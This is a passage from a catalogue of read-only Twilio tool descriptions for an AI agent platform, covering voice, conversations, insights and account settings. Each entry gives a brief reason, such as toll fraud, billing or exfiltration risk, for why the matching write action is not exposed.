API's configuration surface — dialling permissions, BYOC trunks, connection policies and source-IP mappings. READ ONLY. Every write here reconfigures a live telecom estate or opens high-risk international dialling, which is where toll fraud converts to money. GET /api/v1/tools/twilio/get-voice-connection-policy-target. Scopes: twilio_read. twilio_get_voice_dialing_permissions_country (read) — Get dialing permissions country — The Voice API's configuration surface — dialling permissions, BYOC trunks, connection policies and source-IP mappings. Retrieve voice dialing country permissions identified by the given ISO country code. READ ONLY. Every write here reconfigures a live telecom estate or opens high-risk international dialling, which is where toll fraud converts to money. GET /api/v1/tools/twilio/get-voice-dialing-permissions-country. Scopes: twilio_read. twilio_get_voice_dialing_permissions_settings (read) — Get dialing permissions settings — The Voice API's configuration surface — dialling permissions, BYOC trunks, connection policies and source-IP mappings. Retrieve voice dialing permissions inheritance for the sub-account. READ ONLY. Every write here reconfigures a live telecom estate or opens high-risk international dialling, which is where toll fraud converts to money. GET /api/v1/tools/twilio/get-voice-dialing-permissions-settings. Scopes: twilio_read. twilio_get_voice_insights_settings (read) — Report whether Voice Insights Advanced Features is enabled on this account. Call this FIRST when a call-quality read returns nothing: it distinguishes 'no data' from 'the paid toggle is off'. READ ONLY — the POST that enables it adds $0.0025 to every voice minute the account bills, for all future traffic, and is not exposed. GET /api/v1/tools/twilio/voice-insights-settings. Scopes: twilio_read. twilio_get_voice_ip_record (read) — Get IP record — The Voice API's configuration surface — dialling permissions, BYOC trunks, connection policies and source-IP mappings. READ ONLY. Every write here reconfigures a live telecom estate or opens high-risk international dialling, which is where toll fraud converts to money. GET /api/v1/tools/twilio/get-voice-ip-record. Scopes: twilio_read. twilio_get_voice_price (read) — Read this account's inbound and outbound voice prices for one country, by prefix. Free rate-card read. Relevant even though no action places a call: the absence of any cost cap on outbound voice is exactly why that action is not exposed, and this shows how wide the range is. GET /api/v1/tools/twilio/pricing/voice. Scopes: twilio_read. twilio_get_voice_source_ip_mapping (read) — Get source IP mapping — The Voice API's configuration surface — dialling permissions, BYOC trunks, connection policies and source-IP mappings. READ ONLY. Every write here reconfigures a live telecom estate or opens high-risk international dialling, which is where toll fraud converts to money. GET /api/v1/tools/twilio/get-voice-source-ip-mapping. Scopes: twilio_read. twilio_get_voice_v2_account_default_configuration (read) — Get account default configuration — The v2 Voice configuration surface — recording and transcription defaults. Get the Account Default Configuration. Read-only. GET /api/v1/tools/twilio/get-voice-v2-account-default-configuration. Scopes: twilio_read. twilio_get_voice_v2_configuration (read) — Get configuration — The v2 Voice configuration surface — recording and transcription defaults. Get a Configuration by Id or UniqueName. Read-only. GET /api/v1/tools/twilio/get-voice-v2-configuration. Scopes: twilio_read. twilio_get_voice_v2_default_configuration (read) — Get default configuration — The v2 Voice configuration surface — recording and transcription defaults. Get the Default Configuration. Read-only. GET /api/v1/tools/twilio/get-voice-v2-default-configuration. Scopes: twilio_read. twilio_get_voice_v2_recording_configuration (read) — Get recording configuration — The v2 Voice configuration surface — recording and transcription defaults. Get a Recording Configuration by Id or UniqueName. Read-only. GET /api/v1/tools/twilio/get-voice-v2-recording-configuration. Scopes: twilio_read. twilio_get_voice_v2_transcription_configuration (read) — Get transcription configuration — The v2 Voice configuration surface — recording and transcription defaults. Get a Transcription Configuration by Id or UniqueName. Read-only. GET /api/v1/tools/twilio/get-voice-v2-transcription-configuration. Scopes: twilio_read. twilio_get_voice_v3_transcription (read) — Get transcription — The v3 Voice transcription read. Fetch metadata about a specific transcription. Read-only. GET /api/v1/tools/twilio/get-voice-v3-transcription. Scopes: twilio_read. twilio_hangup_call (write, destructive) — DESTRUCTIVE — Hang up call — Ends a call that is in progress, or cancels one still ringing. The inverse of twilio_place_call and the way to stop the meter before time_limit expires. Status is pinned to `completed`; the same endpoint's url and twiml parameters — which would redirect a live call to a new agent-authored program mid-conversation — are not declared here. Requires confirm="hang-up-this-live-call": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/hangup-call. Scopes: twilio_write. twilio_list_a2p_usecases (read) — List the A2P 10DLC use cases this account's brand is eligible for, with each one's per-message fee and throughput. Read-only background for interpreting a campaign's status; it registers nothing and costs nothing. GET /api/v1/tools/twilio/a2p-usecases. Scopes: twilio_read. twilio_list_account_credential_aws (read) — List credential AWS — An account-level setting on accounts.twilio.com. Retrieves a collection of AWS Credentials belonging to the account used to make the request. READ ONLY — the write half of this resource is a fraud or spend control and is deliberately not exposed. GET /api/v1/tools/twilio/list-account-credential-aws. Scopes: twilio_read. twilio_list_account_credential_public_keys (read) — List credential public keys — An account-level setting on accounts.twilio.com. Retrieves a collection of Public Key Credentials belonging to the account used to make the request. READ ONLY — the write half of this resource is a fraud or spend control and is deliberately not exposed. GET /api/v1/tools/twilio/list-account-credential-public-keys. Scopes: twilio_read. twilio_list_addresses (read) — List the addresses registered on this account. Many countries will not sell or keep a number without a validated local address, and an address that failed validation is a common reason a number cannot be provisioned. Read-only. GET /api/v1/tools/twilio/addresses. Scopes: twilio_read. twilio_list_alarms (read) — List the alarms configured on this account — the customer's own monitoring rules and what they fire on. READ ONLY: creating, editing, disabling or deleting an alarm is deliberately not exposed, because silencing an alarm silences the thing that would have reported an agent misbehaving. GET /api/v1/tools/twilio/alarms. Scopes: twilio_read. twilio_list_alerts (read) — TWILIO'S ERROR LOG — the single most valuable diagnostic read on this provider. twilio_get_message returns an error_code integer and nothing else; an alert carries the error code, the severity, the resource that failed and the timestamp. Start every 'why did that fail' investigation here. Free, read-only, and it covers failures AF was not involved in. GET /api/v1/tools/twilio/alerts. Scopes: twilio_read. twilio_list_api_keys (read) — List the API keys that exist on this account, with each key's SID, friendly name and creation date. NO SECRET IS RETURNED — Twilio shows a key's secret exactly once, at creation, and this list form does not carry it. Answers 'what credentials can reach this account', which is the first question of any credential audit. Creating a key is deliberately not exposed: it would mint a live credential and Agentic Fabriq would then redact the only copy of it. Deleting one is not exposed either — the key may be in use by something Agentic Fabriq cannot see. GET /api/v1/tools/twilio/api-keys. Scopes: twilio_read. twilio_list_applications (read) — List the TwiML applications on this account — the customer's own pre-registered call and message handlers, each with its ApplicationSid. Worth knowing because a pre-registered ApplicationSid is exactly the control that would make an outbound call action bounded enough to ship: the instruction document would be the customer's, not a model's. GET /api/v1/tools/twilio/applications. Scopes: twilio_read. twilio_list_audit_events (read) — TWILIO'S OWN AUDIT LOG of who changed what on this account, and when. The first question an operator asks after connecting an agent is 'what did it actually do to my account' — AF's audit trail can only answer for calls AF made, and this answers it from Twilio's side, including changes made in the Console or by another integration. Free and read-only. GET /api/v1/tools/twilio/audit-events. Scopes: twilio_read. twilio_list_authorized_connect_apps (read) — List authorized connect apps — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Retrieve a list of authorized-connect-apps belonging to the account used to make the request. Free and read-only. GET /api/v1/tools/twilio/list-authorized-connect-apps. Scopes: twilio_read. twilio_list_available_phone_number_countries (read) — List available phone number countries — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Free and read-only. GET /api/v1/tools/twilio/list-available-phone-number-countries. Scopes: twilio_read. twilio_list_brand_registrations (read) — List the A2P 10DLC brand registrations on this account, with each brand's status, identity status and any failure reason. A campaign cannot be approved while its brand is not, so this is the layer beneath twilio_get_a2p_compliance. Read-only. GET /api/v1/tools/twilio/brand-registrations. Scopes: twilio_read. twilio_list_bulkexport_days (read) — List days — Bulk Export describes and schedules whole-account data extracts. Retrieve a list of all Days for a resource. READ ONLY. Creating an export job writes the whole account's history to a destination and is not exposed; this reads the state of jobs that already exist. Bulk Export is US1-region only, so this returns nothing for an IE1 or AU1 account. GET /api/v1/tools/twilio/list-bulkexport-days. Scopes: twilio_read. twilio_list_bulkexport_export_custom_jobs (read) — List export custom jobs — Bulk Export describes and schedules whole-account data extracts. READ ONLY. Creating an export job writes the whole account's history to a destination and is not exposed; this reads the state of jobs that already exist. Bulk Export is US1-region only, so this returns nothing for an IE1 or AU1 account. GET /api/v1/tools/twilio/list-bulkexport-export-custom-jobs. Scopes: twilio_read. twilio_list_call_events (read) — List call events — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Retrieve a list of all events for a call. Free and read-only. GET /api/v1/tools/twilio/list-call-events. Scopes: twilio_read. twilio_list_call_insights_events (read) — The signalling and media event timeline for one call, edge by edge — where it connected, where it degraded and where it ended. Same Advanced Features requirement. GET /api/v1/tools/twilio/call/insights-events. Scopes: twilio_read. twilio_list_call_notifications (read) — List call notifications — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Free and read-only. GET /api/v1/tools/twilio/list-call-notifications. Scopes: twilio_read. twilio_list_call_recordings (read) — List the recordings belonging to one call. METADATA ONLY. Get the call SID from twilio_list_calls. GET /api/v1/tools/twilio/call/recordings. Scopes: twilio_read. twilio_list_calls (read) — List voice calls on this account, filterable by number, status and date, with each call's duration and price. Voice is exposed READ-ONLY: there is deliberately no tool that places a call, because a Twilio call is driven by a TwiML instruction document that the caller would be authoring. GET /api/v1/tools/twilio/calls. Scopes: twilio_read. twilio_list_conference_participants (read) — List who was on a conference, with each participant's call SID, muted and hold state, and whether they were a coach. READ ONLY — muting, holding, coaching or removing a participant acts on a live human conversation and is not exposed. GET /api/v1/tools/twilio/conference/participants. Scopes: twilio_read. twilio_list_conference_recordings (read) — List conference recordings — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Retrieve a list of recordings belonging to the call used to make the request. Free and read-only. GET /api/v1/tools/twilio/list-conference-recordings. Scopes: twilio_read. twilio_list_conferences (read) — List voice conferences on this account with each one's status, region and dates. Read-only observability, the same stance as twilio_list_calls: nothing here starts, joins, mutes or ends a conference. GET /api/v1/tools/twilio/conferences. Scopes: twilio_read. twilio_list_connect_apps (read) — List connect apps — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Retrieve a list of connect-apps belonging to the account used to make the request. Free and read-only. GET /api/v1/tools/twilio/list-connect-apps. Scopes: twilio_read. twilio_list_content_approval_requests (read) — Get the WhatsApp approval history for one content template, including the category submitted and the rejection reason Meta returned. Read-only — submitting a template for approval enters Meta's review process and is not exposed. GET /api/v1/tools/twilio/content-approval-requests. Scopes: twilio_read. twilio_list_content_approvals (read) — List content templates together with their WhatsApp approval status. The same templates as twilio_list_content_templates plus the field that decides whether they can actually be used: an unapproved or rejected template is a WhatsApp send that will fail. GET /api/v1/tools/twilio/content-approvals. Scopes: twilio_read. twilio_list_content_approvals_v2 (read) — List content approvals v2 — The v2 listing of rich content templates, with richer filtering than v1. Retrieve a list of Contents with approval statuses belonging to the account used to make the request. Free and read-only. GET /api/v1/tools/twilio/list-content-approvals-v2. Scopes: twilio_read. twilio_list_content_legacy_templates (read) — List legacy templates — Rich content templates — the approved message bodies a business-initiated WhatsApp or RCS message must use. List Legacy Contents. Free. GET /api/v1/tools/twilio/list-content-legacy-templates. Scopes: twilio_read. twilio_list_content_templates (read) — List the rich content templates on this account, each with its ContentSid (HX…), friendly name, language and variables. A business-initiated WhatsApp message requires an APPROVED template, so this is the read that makes the account's WhatsApp senders usable at all. Free. GET /api/v1/tools/twilio/content-templates. Scopes: twilio_read. twilio_list_content_templates_v2 (read) — List content templates v2 — The v2 listing of rich content templates, with richer filtering than v1. Retrieve a list of Contents belonging to the account used to make the request. Free and read-only. GET /api/v1/tools/twilio/list-content-templates-v2. Scopes: twilio_read. twilio_list_conversation_messages (read) — List the messages in one conversation, with author, body, media and delivery state. Message bodies are the customer's own content — do not repeat them further than the task requires. Read-only; posting a message into a conversation is not exposed. GET /api/v1/tools/twilio/conversation/messages. Scopes: twilio_read. twilio_list_conversation_participants (read) — List who is in a conversation, with each participant's identity or address and binding channel. READ ONLY — adding a participant reaches an address the caller chose and can create a billable active user, so it is not exposed. GET /api/v1/tools/twilio/conversation/participants. Scopes: twilio_read. twilio_list_conversations (read) — List Twilio Conversations threads with their state, friendly name and timestamps. READ ONLY: Conversations bills $0.05 per monthly active user, and a write that touches a user record can create one, so nothing here creates, joins or posts to a conversation. GET /api/v1/tools/twilio/conversations. Scopes: twilio_read. twilio_list_conversations_configuration_addresses (read) — List configuration addresses — Twilio Conversations — multi-party, multi-channel message threads. Retrieve a list of address configurations for an account. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/list-conversations-configuration-addresses. Scopes: twilio_read. twilio_list_conversations_conversation_message_receipts (read) — List conversation message receipts — Twilio Conversations — multi-party, multi-channel message threads. Retrieve a list of all delivery and read receipts of the conversation message. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/list-conversations-conversation-message-receipts. Scopes: twilio_read. twilio_list_conversations_conversation_scoped_webhooks (read) — List conversation scoped webhooks — Twilio Conversations — multi-party, multi-channel message threads. Retrieve a list of all webhooks scoped to the conversation. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/list-conversations-conversation-scoped-webhooks. Scopes: twilio_read. twilio_list_conversations_credentials (read) — List credentials — Twilio Conversations — multi-party, multi-channel message threads. Retrieve a list of all push notification credentials on your account. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/list-conversations-credentials. Scopes: twilio_read. twilio_list_conversations_participant_conversations (read) — List participant conversations — Twilio Conversations — multi-party, multi-channel message threads. Retrieve a list of all Conversations that this Participant belongs to by identity or by address. Only one parameter should be specified. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/list-conversations-participant-conversations. Scopes: twilio_read. twilio_list_conversations_roles (read) — List roles — Twilio Conversations — multi-party, multi-channel message threads. Retrieve a list of all user roles in your account's default service. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/list-conversations-roles. Scopes: twilio_read. twilio_list_conversations_service_bindings (read) — List service bindings — Twilio Conversations — multi-party, multi-channel message threads. Retrieve a list of all push notification bindings in the conversation service. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/list-conversations-service-bindings. Scopes: twilio_read. twilio_list_conversations_service_conversation_message_receipts (read) — List service conversation message receipts — Twilio Conversations — multi-party, multi-channel message threads. Retrieve a list of all delivery and read receipts of the conversation message. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/list-conversations-service-conversation-message-receipts. Scopes: twilio_read. twilio_list_conversations_service_conversation_messages (read) — List service conversation messages — Twilio Conversations — multi-party, multi-channel message threads. Retrieve a list of all messages in the conversation. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/list-conversations-service-conversation-messages. Scopes: twilio_read. twilio_list_conversations_service_conversation_participants (read) — List service conversation participants — Twilio Conversations — multi-party, multi-channel message threads. Retrieve a list of all participants of the conversation. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/list-conversations-service-conversation-participants. Scopes: twilio_read. twilio_list_conversations_service_conversation_scoped_webhooks (read) — List service conversation scoped webhooks — Twilio Conversations — multi-party, multi-channel message threads. Retrieve a list of all webhooks scoped to the conversation. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/list-conversations-service-conversation-scoped-webhooks. Scopes: twilio_read. twilio_list_conversations_service_conversations (read) — List service conversations — Twilio Conversations — multi-party, multi-channel message threads. Retrieve a list of conversations in your service. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/list-conversations-service-conversations. Scopes: twilio_read. twilio_list_conversations_service_participant_conversations (read) — List service participant conversations — Twilio Conversations — multi-party, multi-channel message threads. Retrieve a list of all Conversations that this Participant belongs to by identity or by address. Only one parameter should be specified. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/list-conversations-service-participant-conversations. Scopes: twilio_read. twilio_list_conversations_service_roles (read) — List service roles — Twilio Conversations — multi-party, multi-channel message threads. Retrieve a list of all user roles in your service. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/list-conversations-service-roles. Scopes: twilio_read. twilio_list_conversations_service_user_conversations (read) — List service user conversations — Twilio Conversations — multi-party, multi-channel message threads. Retrieve a list of all User Conversations for the User. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/list-conversations-service-user-conversations. Scopes: twilio_read. twilio_list_conversations_service_users (read) — List service users — Twilio Conversations — multi-party, multi-channel message threads. Retrieve a list of all conversation users in your service. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/list-conversations-service-users. Scopes: twilio_read. twilio_list_conversations_services (read) — List services — Twilio Conversations — multi-party, multi-channel message threads. Retrieve a list of all conversation services on your account. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/list-conversations-services. Scopes: twilio_read. twilio_list_conversations_user_conversations (read) — List user conversations — Twilio Conversations — multi-party, multi-channel message threads. Retrieve a list of all User Conversations for the User. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/list-conversations-user-conversations. Scopes: twilio_read. twilio_list_conversations_users (read) — List users — Twilio Conversations — multi-party, multi-channel message threads. Retrieve a list of all conversation users in your account's default service. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/list-conversations-users. Scopes: twilio_read. twilio_list_conversations_v2_communication_by_conversations (read) — List communication by conversations — The 2026 Conversations control-plane rewrite. List Communications. READ ONLY, and newer than the v1 surface — treat an empty result as 'this account is on v1' rather than as an error. GET /api/v1/tools/twilio/list-conversations-v2-communication-by-conversations. Scopes: twilio_read. twilio_list_conversations_v2_configurations (read) — List configurations — The 2026 Conversations control-plane rewrite. READ ONLY, and newer than the v1 surface — treat an empty result as 'this account is on v1' rather than as an error. GET /api/v1/tools/twilio/list-conversations-v2-configurations. Scopes: twilio_read. twilio_list_conversations_v2_conversation_by_accounts (read) — List conversation by accounts — The 2026 Conversations control-plane rewrite. List Conversations. READ ONLY, and newer than the v1 surface — treat an empty result as 'this account is on v1' rather than as an error. GET /api/v1/tools/twilio/list-conversations-v2-conversation-by-accounts. Scopes: twilio_read. twilio_list_conversations_v2_participant_by_conversations (read) — List participant by conversations — The 2026 Conversations control-plane rewrite. List Participants. READ ONLY, and newer than the v1 surface — treat an empty result as 'this account is on v1' rather than as an error. GET /api/v1/tools/twilio/list-conversations-v2-participant-by-conversations. Scopes: twilio_read. twilio_list_customer_profiles (read) — List the Trust Hub customer profiles on this account and their review status. A customer profile is the business-identity record every A2P brand and several regulatory bundles hang off, so a rejected profile blocks everything downstream of it. READ ONLY — creating or submitting a profile is a sworn statement about a business and is not exposed. GET /api/v1/tools/twilio/customer-profiles. Scopes: twilio_read. twilio_list_dependent_phone_numbers (read) — List dependent phone numbers — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Free and read-only. GET /api/v1/tools/twilio/list-dependent-phone-numbers. Scopes: twilio_read. twilio_list_event_sinks (read) — List the Event Streams sinks on this account — every standing destination account events are being streamed to, such as a webhook or a Kinesis stream. This is a security read: it answers 'is anything already exporting my account's events, and where to'. READ ONLY — creating a sink configures persistent exfiltration to a caller-chosen destination and is not exposed. GET /api/v1/tools/twilio/event-sinks. Scopes: twilio_read. twilio_list_event_subscriptions (read) — List which event types are being streamed to which sink. The companion read to twilio_list_event_sinks: the sink says where, this says what. Read-only. GET /api/v1/tools/twilio/event-subscriptions. Scopes: twilio_read. twilio_list_events_event_types (read) — List event types — Event Streams — the account's standing export of its own events, and the schema catalog behind it. Retrieve a paginated list of all the available Event Types. READ ONLY, and it is a security read: it answers what is already exporting this account's events and where to. Creating a sink or subscription configures persistent exfiltration to a caller-chosen destination and is not exposed. GET /api/v1/tools/twilio/list-events-event-types. Scopes: twilio_read. twilio_list_events_schema_versions (read) — List schema versions — Event Streams — the account's standing export of its own events, and the schema catalog behind it. Retrieve a paginated list of versions of the schema. READ ONLY, and it is a security read: it answers what is already exporting this account's events and where to. Creating a sink or subscription configures persistent exfiltration to a caller-chosen destination and is not exposed. GET /api/v1/tools/twilio/list-events-schema-versions. Scopes: twilio_read. twilio_list_events_subscribed_events (read) — List subscribed events — Event Streams — the account's standing export of its own events, and the schema catalog behind it. Retrieve a list of all Subscribed Event types for a Subscription. READ ONLY, and it is a security read: it answers what is already exporting this account's events and where to. Creating a sink or subscription configures persistent exfiltration to a caller-chosen destination and is not exposed. GET /api/v1/tools/twilio/list-events-subscribed-events. Scopes: twilio_read. twilio_list_iam_get_keys (read) — List get keys — Twilio's IAM surface — API key metadata and role permissions. Retrieve a list of all Keys for a account. METADATA ONLY. No key secret is ever returned: Twilio shows a secret exactly once, at creation, and creating a key is deliberately not exposed. GET /api/v1/tools/twilio/list-iam-get-keys. Scopes: twilio_read. twilio_list_iam_role_permissions (read) — List role permissions — Twilio's IAM surface — API key metadata and role permissions. List resolved permissions for a role. METADATA ONLY. No key secret is ever returned: Twilio shows a secret exactly once, at creation, and creating a key is deliberately not exposed. GET /api/v1/tools/twilio/list-iam-role-permissions. Scopes: twilio_read. twilio_list_incoming_phone_number_assigned_add_on_extensions (read) — List incoming phone number assigned add on extensions — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Retrieve a list of Extensions for the Assigned Add-on. Free and read-only. GET /api/v1/tools/twilio/list-incoming-phone-number-assigned-add-on-extensions. Scopes: twilio_read. twilio_list_incoming_phone_number_assigned_add_ons (read) — List incoming phone number assigned add ons — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Retrieve a list of Add-on installations currently assigned to this Number. Free and read-only. GET /api/v1/tools/twilio/list-incoming-phone-number-assigned-add-ons. Scopes: twilio_read. twilio_list_incoming_phone_number_locals (read) — List incoming phone number locals — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Free and read-only. GET /api/v1/tools/twilio/list-incoming-phone-number-locals. Scopes: twilio_read. twilio_list_incoming_phone_number_mobiles (read) — List incoming phone number mobiles — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Free and read-only. GET /api/v1/tools/twilio/list-incoming-phone-number-mobiles. Scopes: twilio_read. twilio_list_incoming_phone_number_toll_frees (read) — List incoming phone number toll frees — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Free and read-only. GET /api/v1/tools/twilio/list-incoming-phone-number-toll-frees. Scopes: twilio_read. twilio_list_insights_call_summaries (read) — List call summaries — Voice Insights — per-call, per-conference and per-video-room quality telemetry. Get a list of Call Summaries. REQUIRES VOICE INSIGHTS ADVANCED FEATURES, an account-level toggle that adds $0.0025 to every voice minute the account bills. If it is off this returns a 403 or an empty result; call twilio_get_voice_insights_settings to tell those apart. The toggle itself is deliberately not exposed. GET /api/v1/tools/twilio/list-insights-call-summaries. Scopes: twilio_read. twilio_list_insights_conference_participants (read) — List conference participants — Voice Insights — per-call, per-conference and per-video-room quality telemetry. Get a list of Conference Participants Summaries for a Conference. REQUIRES VOICE INSIGHTS ADVANCED FEATURES, an account-level toggle that adds $0.0025 to every voice minute the account bills. If it is off this returns a 403 or an empty result; call twilio_get_voice_insights_settings to tell those apart. The toggle itself is deliberately not exposed. GET /api/v1/tools/twilio/list-insights-conference-participants. Scopes: twilio_read. twilio_list_insights_conferences (read) — List conferences — Voice Insights — per-call, per-conference and per-video-room quality telemetry. Get a list of Conference Summaries. REQUIRES VOICE INSIGHTS ADVANCED FEATURES, an account-level toggle that adds $0.0025 to every voice minute the account bills. If it is off this returns a 403 or an empty result; call twilio_get_voice_insights_settings to tell those apart. The toggle itself is deliberately not exposed. GET /api/v1/tools/twilio/list-insights-conferences. Scopes: twilio_read. twilio_list_insights_v2_inbound_phone_numbers_reports (read) — List inbound phone numbers reports — Voice Insights aggregate reports over a whole account or number set. List Inbound Phone Numbers Level Reports. Same Advanced Features requirement as the per-call reads. GET /api/v1/tools/twilio/list-insights-v2-inbound-phone-numbers-reports. Scopes: twilio_read. twilio_list_insights_v2_outbound_phone_numbers_reports (read) — List outbound phone numbers reports — Voice Insights aggregate reports over a whole account or number set. List Outbound Phone Numbers Level Reports. Same Advanced Features requirement as the per-call reads. GET /api/v1/tools/twilio/list-insights-v2-outbound-phone-numbers-reports. Scopes: twilio_read. twilio_list_insights_video_participant_summaries (read) — List video participant summaries — Voice Insights — per-call, per-conference and per-video-room quality telemetry. Get a list of room participants. REQUIRES VOICE INSIGHTS ADVANCED FEATURES, an account-level toggle that adds $0.0025 to every voice minute the account bills. If it is off this returns a 403 or an empty result; call twilio_get_voice_insights_settings to tell those apart. The toggle itself is deliberately not exposed. GET /api/v1/tools/twilio/list-insights-video-participant-summaries. Scopes: twilio_read. twilio_list_insights_video_room_summaries (read) — List video room summaries — Voice Insights — per-call, per-conference and per-video-room quality telemetry. Get a list of Programmable Video Rooms. REQUIRES VOICE INSIGHTS ADVANCED FEATURES, an account-level toggle that adds $0.0025 to every voice minute the account bills. If it is off this returns a 403 or an empty result; call twilio_get_voice_insights_settings to tell those apart. The toggle itself is deliberately not exposed. GET /api/v1/tools/twilio/list-insights-video-room-summaries. Scopes: twilio_read. twilio_list_intelligence_custom_operators (read) — List custom operators — Conversational Intelligence — transcripts of recorded calls and the operators run over them. Retrieves a list of all Custom Operators for an Account. READING is free; CREATING a transcript is billed at $0.024-$0.027 per minute and is not exposed. Transcript text and sentences are a real conversation between real people — treat them as customer content and do not repeat them further than the task requires. GET /api/v1/tools/twilio/list-intelligence-custom-operators. Scopes: twilio_read. twilio_list_intelligence_operator_results (read) — List operator results — Conversational Intelligence — transcripts of recorded calls and the operators run over them. Retrieve a list of Operator Results for the given Transcript. READING is free; CREATING a transcript is billed at $0.024-$0.027 per minute and is not exposed. Transcript text and sentences are a real conversation between real people — treat them as customer content and do not repeat them further than the task requires. GET /api/v1/tools/twilio/list-intelligence-operator-results. Scopes: twilio_read. twilio_list_intelligence_operator_types (read) — List operator types — Conversational Intelligence — transcripts of recorded calls and the operators run over them. Retrieves a list of all Operator Types for an Account. READING is free; CREATING a transcript is billed at $0.024-$0.027 per minute and is not exposed. Transcript text and sentences are a real conversation between real people — treat them as customer content and do not repeat them further than the task requires. GET /api/v1/tools/twilio/list-intelligence-operator-types. Scopes: twilio_read. twilio_list_intelligence_operators (read) — List operators — Conversational Intelligence — transcripts of recorded calls and the operators run over them. Retrieves a list of all Operators for an Account, both Custom and Pre-built. READING is free; CREATING a transcript is billed at $0.024-$0.027 per minute and is not exposed. Transcript text and sentences are a real conversation between real people — treat them as customer content and do not repeat them further than the task requires. GET /api/v1/tools/twilio/list-intelligence-operators. Scopes: twilio_read. twilio_list_intelligence_prebuilt_operators (read) — List prebuilt operators — Conversational Intelligence — transcripts of recorded calls and the operators run over them. Retrieves a list of all Pre-built Operators for an account. READING is free; CREATING a transcript is billed at $0.024-$0.027 per minute and is not exposed. Transcript text and sentences are a real conversation between real people — treat them as customer content and do not repeat them further than the task requires. GET /api/v1/tools/twilio/list-intelligence-prebuilt-operators. Scopes: twilio_read. twilio_list_intelligence_sentences (read) — List sentences — Conversational Intelligence — transcripts of recorded calls and the operators run over them. Get all Transcript Sentences by TranscriptSid. READING is free; CREATING a transcript is billed at $0.024-$0.027 per minute and is not exposed. Transcript text and sentences are a real conversation between real people — treat them as customer content and do not repeat them further than the task requires. GET /api/v1/tools/twilio/list-intelligence-sentences. Scopes: twilio_read. twilio_list_intelligence_services (read) — List services — Conversational Intelligence — transcripts of recorded calls and the operators run over them. Retrieves a list of all Services for an account. READING is free; CREATING a transcript is billed at $0.024-$0.027 per minute and is not exposed. Transcript text and sentences are a real conversation between real people — treat them as customer content and do not repeat them further than the task requires. GET /api/v1/tools/twilio/list-intelligence-services. Scopes: twilio_read. twilio_list_intelligence_transcripts (read) — List transcripts — Conversational Intelligence — transcripts of recorded calls and the operators run over them. Retrieve a list of Transcripts for a given service. READING is free; CREATING a transcript is billed at $0.024-$0.027 per minute and is not exposed. Transcript text and sentences are a real conversation between real people — treat them as customer content and do not repeat them further than the task requires. GET 